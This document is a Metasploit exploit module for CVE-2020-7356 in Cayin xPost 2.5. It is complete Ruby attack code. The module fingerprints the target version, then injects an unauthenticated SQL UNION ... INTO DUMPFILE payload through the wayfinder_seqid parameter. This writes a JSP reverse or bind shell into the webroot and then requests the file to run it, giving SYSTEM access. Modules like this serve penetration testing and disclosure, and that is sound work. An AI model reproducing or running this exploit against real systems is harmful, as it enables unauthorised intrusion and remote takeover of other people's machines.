Cayin xPost 2.5 SQL Injection / Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE',  
'Description' => %q{  
This module exploits an unauthenticated SQLi in Cayin xPost <=2.5. The  
wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected  
with a blind SQLi. Since this app bundles MySQL and apache Tomcat the  
environment is pretty static and therefore the default settings should  
work. Results in SYSTEM level access.  
Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads  
seem to be valid.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery  
],  
'References' =>  
[  
[ 'EDB', '48558' ],  
[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],  
[ 'CVE', '2020-7356' ]  
],  
'Platform' => ['java', 'win'],  
'Privileged' => true,  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => 'Jun 4 2020',  
  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'  
},  
'Payload' => # meterpreter is too large for payload space  
{  
'Space' => 2000,  
'DisableNops' => true  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']),  
OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location  
OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', ''])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')  
)  
  
if res.nil? || res.code != 200  
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')  
end  
  
%r{// xPost v(?<version>[\d\.]+) } =~ res.body  
  
if version && Gem::Version.new(version) <= Gem::Version.new('2.5')  
print_good("Version Detected: #{version}")  
return CheckCode::Appears  
end  
  
# try a backup plan, at least verify the title  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')  
)  
  
if res.nil? || res.code != 200  
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')  
  
end  
  
if res.body =~ %r{<title>xPost</title>}  
vprint_good('HTML Title includes xPost')  
return CheckCode::Detected  
end  
CheckCode::Safe  
rescue ::Rex::ConnectionError  
CheckCode::Safe('Could not connect to the web service, check URI Path and IP')  
end  
  
def exploit  
filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']  
filename = "#{filename}.jsp" unless filename.end_with? '.jsp'  
  
vprint_status("Utilizing payload filename #{filename}")  
vprint_status("Payload Size: #{payload.encoded.length}")  
vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}")  
  
payload_request = "-251' UNION ALL SELECT 0x"  
payload_request << payload.encoded.unpack1('H*')  
payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL '  
payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -"  
payload_request.gsub!(' ', '%20')  
  
vprint_status('Attempting Exploitation')  
uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp')  
# use raw to prevent encoding of injection characters  
res = send_request_raw(  
'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
  
if res.code == 400  
fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")  
end  
  
if res.code != 302  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")  
end  
  
register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")  
  
vprint_status('Triggering uploaded payload')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, filename)  
)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
`